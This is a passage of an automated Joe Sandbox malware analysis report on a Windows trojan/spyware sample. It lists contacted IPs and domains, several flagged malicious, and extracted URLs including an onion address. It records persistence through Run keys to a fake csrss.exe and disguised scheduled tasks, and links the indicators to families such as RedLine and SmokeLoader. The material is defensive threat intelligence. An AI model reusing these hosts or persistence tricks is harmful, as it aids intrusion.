https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionSELECT	C1FD.exe, 0000002D.00000002.4120993334.000000000C11E000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
https:///phpMyAdmin//PhpMyAdmin//pma/rootmysqlimapssmtpspop3sscp://your_IP_is_greylisted_README.txt2	76D5.exe, 00000007.00000002.4105257211.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4105723641.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000001E.00000002.4105631861.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://schemas.micro	explorer.exe, 00000001.00000000.1692319877.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1694436289.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1692899431.0000000008720000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.html	76D5.exe, 00000007.00000002.4105257211.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4105723641.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000001E.00000002.4105631861.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/D	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
95.216.227.177	unknown	Germany	24940	HETZNER-ASDE	false
104.198.2.251	snukerukeutit.org	United States	15169	GOOGLEUS	false
198.50.191.95	unknown	Canada	16276	OVHFR	false
45.66.33.45	unknown	Netherlands	47482	SPECTRENL	false
34.94.245.237	sumagulituyo.org	United States	15169	GOOGLEUS	false
195.201.94.113	unknown	Germany	24940	HETZNER-ASDE	false
47.254.134.152	unknown	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
86.59.21.38	unknown	Austria	8437	UTA-ASAT	false
172.67.174.181	dayfarrichjwclik.fun	United States	13335	CLOUDFLARENETUS	true
163.172.68.222	unknown	United Kingdom	12876	OnlineSASFR	false
178.33.183.251	unknown	France	16276	OVHFR	false
154.35.175.225	unknown	United States	14987	RETHEMHOSTINGUS	false
210.182.29.70	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
211.53.230.67	ftpvoyager.cc	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
172.67.183.217	diagramfiremonkeyowwa.fun	United States	13335	CLOUDFLARENETUS	false
128.31.0.39	unknown	United States	3	MIT-GATEWAYSUS	false
213.144.142.24	unknown	Switzerland	13030	INIT7CH	false
62.210.83.207	unknown	France	12876	OnlineSASFR	false
91.215.85.17	stualialuyastrelia.net	Russian Federation	34665	PINDC-ASRU	true
62.141.38.69	unknown	Germany	24961	MYLOC-ASIPBackboneofmyLocmanagedITAGDE	false
34.143.166.163	lightseinsteniki.org	United States	2686	ATGS-MMD-ASUS	true
204.13.164.118	unknown	United States	25700	25700US	false
198.245.61.196	unknown	Canada	16276	OVHFR	false
109.150.12.235	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
104.21.87.137	neighborhoodfeelsa.fun	United States	13335	CLOUDFLARENETUS	true
185.196.8.22	bfaausp.com	Switzerland	34888	SIMPLECARRER2IT	false
188.213.49.109	unknown	Romania	44220	PARFUMURI-FEMEI-ASRO	false
193.23.244.244	unknown	Germany	50472	CHAOS-ASDE	false
104.21.45.142	shpilliwilli.com	United States	13335	CLOUDFLARENETUS	true
192.36.38.33	unknown	Sweden	57169	EDIS-AS-EUAT	false
116.12.180.234	unknown	Singapore	3758	SINGNETSingNetSG	false
172.67.185.93	linkofstrumble.com	United States	13335	CLOUDFLARENETUS	true
131.188.40.189	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
188.68.53.92	unknown	Germany	197540	NETCUP-ASnetcupGmbHDE	false
185.220.101.20	unknown	Germany	208294	ASMKNL	false
24.150.204.225	unknown	Canada	7992	COGECOWAVECA	false
195.123.209.91	unknown	Bulgaria	50979	ITL-LV	false
5.59.227.51	unknown	Czech Republic	50923	METRO-SET-ASMetrosetAutonomousSystemRU	false
104.21.46.59	cream.hitsturbo.com	United States	13335	CLOUDFLARENETUS	true
199.249.230.155	unknown	United States	62744	QUINTEXUS	false
212.47.227.71	unknown	France	12876	OnlineSASFR	false
195.201.29.252	unknown	Germany	24940	HETZNER-ASDE	false
209.58.180.90	unknown	Singapore	59253	LEASEWEB-APAC-SIN-11LeasewebAsiaPacificpteltdSG	false
62.171.180.6	unknown	United Kingdom	51167	CONTABODE	false
50.7.8.141	unknown	United States	174	COGENT-174US	false
51.15.142.0	unknown	France	12876	OnlineSASFR	false
38.47.221.193	unknown	United States	174	COGENT-174US	true
190.224.203.37	humydrole.com	Argentina	7303	TelecomArgentinaSAAR	true
195.189.96.148	unknown	Lithuania	59642	CHERRYSERVERS2-ASLT	false
173.249.63.227	unknown	Germany	51167	CONTABODE	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1364277
Start date and time:	2023-12-19 03:21:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NBHEkIKDCr.exe renamed because original name is a hash value
Original Sample Name:	b53ce56fb0e4f176f943246f0f9a9761.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@70/158@22/51
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, consent.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:22:15	Task Scheduler	Run new task: Firefox Default Browser Agent E48B464E486C4C80 path: C:\Users\user\AppData\Roaming\faischf
02:22:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run CSRSS "C:\ProgramData\Drivers\csrss.exe"
02:22:35	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run CSRSS "C:\ProgramData\Drivers\csrss.exe"
02:23:03	Task Scheduler	Run new task: Firefox Default Browser Agent C34A13E5073CC5B6 path: C:\Users\user\AppData\Roaming\cwischf
03:22:00	API Interceptor	278828x Sleep call for process: explorer.exe modified
03:22:26	API Interceptor	1x Sleep call for process: 826E.exe modified
03:22:40	API Interceptor	66x Sleep call for process: 8FEE.exe modified
03:22:42	API Interceptor	9x Sleep call for process: C1FD.exe modified
03:22:48	API Interceptor	28x Sleep call for process: powershell.exe modified
03:23:03	API Interceptor	11146x Sleep call for process: 76D5.exe modified
03:23:13	API Interceptor	17848x Sleep call for process: csrss.exe modified
03:23:26	API Interceptor	4971x Sleep call for process: PRingTone.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
95.216.227.177	o7dKnIGaW3.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse
	74APa4Tj5X.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse
	SecuriteInfo.com.Trojan.Siggen22.40888.11234.29256.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.40889.29955.30055.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.40920.19202.199.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	Ahn3lzq3wm.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse
	rpmOhktwoL.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc	Browse
	SecuriteInfo.com.Trojan.Siggen22.39556.7523.31477.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.39558.23845.21378.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan.Siggen22.39556.27057.11759.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Other.Malware-gen.29504.20248.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan-Dropper.Win32.Agent.20129.18767.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan-Dropper.Win32.Agent.20129.18767.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Other.Malware-gen.10869.31354.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Other.Malware-gen.18348.18420.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan-Dropper.Win32.Agent.26646.24282.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan-Dropper.Win32.Agent.26646.24282.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	file.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	file.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	SecuriteInfo.com.Trojan-Dropper.Win32.Agent.11477.20859.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
198.50.191.95	run32dll.exe	Get hash	malicious	Unknown	Browse	198.50.191.95/tor/server/fp/1084200b44021d308ea4253f256794671b1d099a
45.66.33.45	SaLY22oLht.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc	Browse
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	Bznx8G6dMz.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	oB4fbQkz71.exe	Get hash	malicious	Djvu, RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	g5oo6DQ4pd.exe	Get hash	malicious	Unknown	Browse
	cjx1l7SFuN.exe	Get hash	malicious	Amadey, RedLine, SmokeLoader, Vidar	Browse
	pe74v7n41M.exe	Get hash	malicious	Unknown	Browse
	sloa2.exe	Get hash	malicious	Unknown	Browse
	RApTor.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lightseinsteniki.org	M6xATHbwxY.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	107.178.223.183
	B843BuO7i3.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	LummaC Stealer, Petite Virus, RedLine, RisePro Stealer, SmokeLoader, Vidar	Browse	34.143.166.163
	SyD1FiOG1p.exe	Get hash	malicious	LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	K6DjJpNlzI.exe	Get hash	malicious	LummaC Stealer, RedLine, SmokeLoader	Browse	34.143.166.163
	8as7BA35XQ.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	82YWwkVfIS.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	etNheGz9UQ.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	file.exe	Get hash	malicious	Raccoon Stealer v2, RedLine, SmokeLoader	Browse	34.143.166.163
ftpvoyager.cc	B843BuO7i3.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	187.156.96.226
	8as7BA35XQ.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	211.104.254.139
	82YWwkVfIS.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	186.147.159.149
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	95.158.162.200
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	211.53.230.67
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	95.86.30.3
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	189.232.1.60
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	95.158.162.200
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	180.94.156.61
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	58.151.148.90
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	211.40.39.251
	etNheGz9UQ.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	211.119.84.111
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	211.53.230.67
	file.exe	Get hash	malicious	Glupteba, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	179.153.102.52
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	211.53.230.67
	file.exe	Get hash	malicious	Raccoon Stealer v2, RedLine, SmokeLoader	Browse	2.180.10.7
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	190.187.52.42
	CHZlSQKW3X.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, zgRAT	Browse	95.158.162.200
	IkYqsQV4ty.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	189.232.1.60
	51lz9Xlo4S.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	179.25.62.230
cream.hitsturbo.com	M6xATHbwxY.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	172.67.168.30
	B843BuO7i3.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	172.67.168.30
	file.exe	Get hash	malicious	LummaC Stealer, Petite Virus, RedLine, RisePro Stealer, SmokeLoader, Vidar	Browse	104.21.46.59
	SyD1FiOG1p.exe	Get hash	malicious	LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	104.21.46.59

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	o7dKnIGaW3.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	95.216.227.177
	74APa4Tj5X.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	95.216.227.177
	https://www.google.com/search?q=%22VAC+%26+OFFICIAL+MATCHMAKING%22	Get hash	malicious	Unknown	Browse	136.243.216.235
	02g7xDeBN5.exe	Get hash	malicious	RedLine, SectopRAT	Browse	94.130.51.115
	QE3ehUJ2VL.exe	Get hash	malicious	Stealc, Vidar	Browse	138.201.196.248
	https://tinyurl.com/4zsnub78/SubscribeClick?e7wr=lv4&rrfg3nks=jennifer.m.franklin@instaloan.com&vus2vbx=&d%20and%20two=background%20and%20two%20admirable%20uncles%20skipping%20to%20the%20beat	Get hash	malicious	Unknown	Browse	91.107.206.92
	M6xATHbwxY.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	176.9.38.121
	nlUynYLVxE.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	5.75.147.113
	CTM_REQUEST_USD12,400.exe	Get hash	malicious	FormBook	Browse	136.243.50.232
	B843BuO7i3.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	5.161.194.135
	182luimQxG.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	5.75.147.113
	SecuriteInfo.com.Trojan.Siggen22.40888.11234.29256.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	95.216.227.177
	SecuriteInfo.com.Trojan.Siggen22.40889.29955.30055.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	95.216.227.177
	SecuriteInfo.com.Trojan.Siggen22.40920.19202.199.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	95.216.227.177
	Ahn3lzq3wm.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	95.216.227.177
	rpmOhktwoL.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc	Browse	144.76.136.153
	01b9T4tDdG.exe	Get hash	malicious	Glupteba, LummaC Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	95.217.72.151
	k3NtAf2ctb.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	5.75.147.113
	SecuriteInfo.com.Trojan.Siggen22.39556.7523.31477.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	95.216.227.177
	SecuriteInfo.com.Trojan.Siggen22.39558.23845.21378.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	95.216.227.177
OVHFR	https://labest.com/hits_banner_redirect.php?cat=55&redirect=http://Pfcu.paidperreview.com/a293ZW5zQHBmY3UuY29t&c=E,1,VE5i5zGOYN5lv7fX89L5vDQFSEjb4eQhCs4iwGW3NkFr3yVsZRj6iOoIyvq-9j3V5qfBQUqL0aLBbmd4GLfdDcPHFy78ScSF-AiaXYjWxSmUGQ,,&typo=1	Get hash	malicious	Unknown	Browse	66.70.178.85
	https://www.google.com/search?q=%22VAC+%26+OFFICIAL+MATCHMAKING%22	Get hash	malicious	Unknown	Browse	51.68.85.158
	RemittanceAdviceNotification95002639322.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	144.217.159.195
	tenetur.w.dll	Get hash	malicious	PikaBot	Browse	51.161.81.190
	https://grahajayapratamakinerja.com/nlbq/?81144881	Get hash	malicious	PikaBot	Browse	51.79.37.216
	Bank_Copy.pdf.exe	Get hash	malicious	AgentTesla	Browse	51.77.234.5
	Payment_Copy_Eur22,000.exe	Get hash	malicious	FormBook	Browse	51.254.223.196
	ungziped_file.exe	Get hash	malicious	FormBook, NSISDropper	Browse	91.121.60.232
	NbN47VasP7.exe	Get hash	malicious	Snake Keylogger	Browse	51.38.247.67
	KSA-PDA_17122023.exe	Get hash	malicious	Snake Keylogger	Browse	51.38.247.67
	nig.arm7.elf	Get hash	malicious	Mirai	Browse	151.80.170.26
	d15RN6d0cE.exe	Get hash	malicious	Xmrig	Browse	54.36.98.147
	file.exe	Get hash	malicious	Remcos	Browse	198.27.121.194
	SaLY22oLht.exe	Get hash	malicious	Unknown	Browse	51.38.65.160
	SyD1FiOG1p.exe	Get hash	malicious	LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	54.39.68.9
	aaWYtWahMJ.exe	Get hash	malicious	Xmrig	Browse	54.36.98.147
	PO-1215MTS23.exe	Get hash	malicious	Remcos	Browse	198.27.121.194
	PRE_ALERT_NOTICE.exe	Get hash	malicious	AgentTesla	Browse	176.31.224.117
	Request_for_quotation.exe	Get hash	malicious	AveMaria, PrivateLoader, UACMe	Browse	51.91.30.159
	New_Order.exe	Get hash	malicious	AveMaria, PrivateLoader, UACMe	Browse	51.91.30.159

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	microsoftprofile.vbs	Get hash	malicious	Remcos	Browse	104.21.45.142 172.67.185.93
	o7dKnIGaW3.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	104.21.45.142 172.67.185.93
	bbSC5jm8tF.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Stealc, Vidar, zgRAT	Browse	104.21.45.142 172.67.185.93
	74APa4Tj5X.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	104.21.45.142 172.67.185.93
	STATEMEN.VBS.vbs	Get hash	malicious	XWorm	Browse	104.21.45.142 172.67.185.93
	IMG44825426.vbs	Get hash	malicious	XWorm	Browse	104.21.45.142 172.67.185.93
	2360.docx.doc	Get hash	malicious	Unknown	Browse	104.21.45.142 172.67.185.93
	32f2gxZwCi.exe	Get hash	malicious	DanaBot, SmokeLoader	Browse	104.21.45.142 172.67.185.93
	NEWXORDERXPO-20874.xlam.xlsx	Get hash	malicious	Unknown	Browse	104.21.45.142 172.67.185.93
	SOTREQ- V.AL2623-AL0124.xlsx	Get hash	malicious	Unknown	Browse	104.21.45.142 172.67.185.93
	passport.vbs	Get hash	malicious	Agniane Stealer	Browse	104.21.45.142 172.67.185.93
	SecuriteInfo.com.Trojan.GenericKD.70788680.21050.25766.exe	Get hash	malicious	SmokeLoader	Browse	104.21.45.142 172.67.185.93
	M6xATHbwxY.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	104.21.45.142 172.67.185.93
	https://my-cash-collector.mydsomanager.com/exportSpreadSheet.php?key4=GSiEikTZs4ZKn641YnFCOkC.s.s.p.qDEUQO4K0dIAC.p.JDavjM2xa9TthMWv07KdwyHeCNPcW8UNFwTcICiW381NAJ1lrTBJMXES33.p.Frb6Jv6K0hojXota.p.Z2f5hcic9.s.SNS6o1l4gLiKZO8FL25sornfNYNlvacRWiuMnYb7ICSz8iec5hvEltjqZvXibj.p.IyuZbYZv8UtiuUaN2WnhFtD5A.2e.&action=exportItemsListSent&extension=xls	Get hash	malicious	Unknown	Browse	104.21.45.142 172.67.185.93
	Invoices.xls	Get hash	malicious	Unknown	Browse	104.21.45.142 172.67.185.93
	7WQqooxIvP.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	104.21.45.142 172.67.185.93
	YY74V8CaHP.exe	Get hash	malicious	PrivateLoader, RisePro Stealer, SmokeLoader	Browse	104.21.45.142 172.67.185.93
	Ahn3lzq3wm.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	104.21.45.142 172.67.185.93
	rpmOhktwoL.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc	Browse	104.21.45.142 172.67.185.93
	statement.vbs	Get hash	malicious	XWorm	Browse	104.21.45.142 172.67.185.93
83d60721ecc423892660e275acc4dffd	M6xATHbwxY.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	50.7.8.141 86.59.21.38 198.50.191.95 199.249.230.155 204.13.164.118 192.36.38.33 195.201.94.113 131.188.40.189 51.15.142.0 209.58.180.90 193.23.244.244
	file.exe	Get hash	malicious	LummaC Stealer, Petite Virus, RedLine, RisePro Stealer, SmokeLoader, Vidar	Browse	50.7.8.141 86.59.21.38 198.50.191.95 199.249.230.155 204.13.164.118 192.36.38.33 195.201.94.113 131.188.40.189 51.15.142.0 209.58.180.90 193.23.244.244
	SaLY22oLht.exe	Get hash	malicious	Unknown	Browse	50.7.8.141 86.59.21.38 198.50.191.95 199.249.230.155 204.13.164.118 192.36.38.33 195.201.94.113 131.188.40.189 51.15.142.0 209.58.180.90 193.23.244.244
	SyD1FiOG1p.exe	Get hash	malicious	LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	50.7.8.141 86.59.21.38 198.50.191.95 199.249.230.155 204.13.164.118 192.36.38.33 195.201.94.113 131.188.40.189 51.15.142.0 209.58.180.90 193.23.244.244
	K6DjJpNlzI.exe	Get hash	malicious	LummaC Stealer, RedLine, SmokeLoader	Browse	50.7.8.141 86.59.21.38 198.50.191.95 199.249.230.155 204.13.164.118 192.36.38.33 195.201.94.113 131.188.40.189 51.15.142.0 209.58.180.90 193.23.244.244
	8as7BA35XQ.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	50.7.8.141 86.59.21.38 198.50.191.95 199.249.230.155 204.13.164.118 192.36.38.33 195.201.94.113 131.188.40.189 51.15.142.0 209.58.180.90 193.23.244.244
